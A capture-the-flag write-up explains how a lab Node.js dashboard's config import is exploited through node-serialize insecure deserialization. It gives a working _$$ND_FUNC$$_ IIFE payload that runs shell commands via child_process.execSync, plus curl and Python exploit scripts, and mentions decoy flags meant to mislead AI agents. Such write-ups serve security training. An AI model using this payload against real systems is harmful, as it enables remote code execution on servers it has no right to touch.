PulseOps — Insecure Deserialization in Config Import
PulseOps — Insecure Deserialization in Config Import
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: command_execution_via_child_process_execsync, nd_func_function_injection, node_serialize_unserialize_iife
Summary
Task: Node.js/Express operations dashboard with config import/export feature that deserializes user-supplied data via node-serialize. Solution: Exploit node-serialize's $$ND_FUNC$$ IIFE pattern to achieve RCE and read /root/flag.txt.
PulseOps — Insecure Deserialization in Config Import — HackAdvisor
Description
PulseOps is a server monitoring and operations dashboard built by PulseOps Inc. The application provides real-time server metrics, alert management, team collaboration, and configuration management through an intuitive web interface. You've been invited to test PulseOps as part of a security audit. The platform has a Settings page where administrators can import and export system configurations. Pay close attention to how the import functionality processes uploaded data.
Objective: Find a vulnerability in the configuration import feature that allows you to execute arbitrary code on the server. The flag is stored in /root/flag.txt.
Test credentials: user@test.com / password123
A Node.js/Express web application with a Settings page featuring profile editing, notification preferences, and an Import/Export Configuration section. The import endpoint deserializes user-supplied configuration strings, creating an insecure deserialization vulnerability via the node-serialize npm package.
Analysis
Reconnaissance
The target application reveals its technology stack through standard Express indicators:
X-Powered-By: Expressresponse headerconnect.sidsession cookie (Express session middleware)- Node.js/Express backend confirmed
After logging in with the provided test credentials (user@test.com / password123), the Settings page at /settings contains three sections:
- Profile — basic user info editing
- Notifications — notification preferences
- Import/Export Configuration — the attack surface
API Endpoints
The Import/Export feature uses two endpoints:
GET /settings/export— returns a JSON object with aconfigfield containing a stringified JSON configuration:json read-only • copy allowed{"config":"{\"theme\":\"light\",\"refresh_interval\":30,\"email_notifications\":true,...}"}
POST /settings/import— accepts a JSON body with aconfigfield containing a serialized configuration string. This string is passed tonode-serialize'sunserialize()function.
Decoy Flags
The application contained honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments and invisible <div> elements on every page, designed to trick automated scanners and AI agents into reporting false positives.
Vulnerability: node-serialize Insecure Deserialization
The node-serialize npm package is a well-known insecure library. Its unserialize() function supports serialized JavaScript functions via the _$$ND_FUNC$$_ prefix marker. When a serialized value contains this prefix followed by a function definition with trailing () (making it an IIFE — Immediately Invoked Function Expression), the function is reconstructed and executed immediately during deserialization.
The attack chain:
- User submits a
configstring toPOST /settings/import - Server passes the string to
node-serialize.unserialize() unserialize()encounters_$$ND_FUNC$$_prefix and reconstructs the function- The trailing
()causes immediate execution (IIFE pattern) - Arbitrary code runs with server privileges
Solution
Step 1: Authenticate
Log in with the provided credentials to obtain a session cookie:
bash read-only • copy allowedcurl -c cookies.txt -X POST 'https://TARGET/login' \ -d 'email=user@test.com&password=password123'
Step 2: Verify Export Endpoint
Confirm the config import/export functionality works:
bash read-only • copy allowedcurl -b cookies.txt 'https://TARGET/settings/export' # Returns: {"config":"{\"theme\":\"light\",\"refresh_interval\":30,...}"}
Step 3: Craft node-serialize IIFE Payload
The payload uses the _$$ND_FUNC$$_ marker to inject a function that reads the flag file via child_process.execSync:
json read-only • copy allowed{ "config": "{\"theme\":\"_$$ND_FUNC$$_function(){var exec=require(\\\"child_process\\\").execSync;return exec(\\\"cat /root/flag.txt\\\").toString()}()\"}" }
Breaking down the inner serialized value:
_$$ND_FUNC$$_— tells node-serialize this is a serialized functionfunction(){...}— the function body usingchild_process.execSyncto runcat /root/flag.txt()— trailing parentheses make it an IIFE, triggering immediate execution during deserialization
Step 4: Send the Exploit
python read-only • copy allowed#!/usr/bin/env python3 import json import requests url = 'https://d7cf98f2-9b43-4a04-b0b4-549e35bca212.labs.hackadvisor.io' s = requests.Session() s.post(f'{url}/login', data={ 'email': 'user@test.com', 'password': 'password123' }) # node-serialize IIFE payload — executes cat /root/flag.txt during deserialization payload = '{"theme":"_$$ND_FUNC$$_function(){var exec=require(\\"child_process\\").execSync;return exec(\\"cat /root/flag.txt\\").toString()}()"}' import_data = {'config': payload} r = s.post(f'{url}/settings/import', json=import_data) print(r.text)
Step 5: Receive the Flag
The server deserializes the payload, executes the IIFE, and returns the flag as the "imported" theme value:
json read-only • copy allowed{ "success": true, "message": "Configuration \"FLAG{REDACTED}\n\" imported successfully.", "applied": { "theme": "FLAG{REDACTED}\n" } }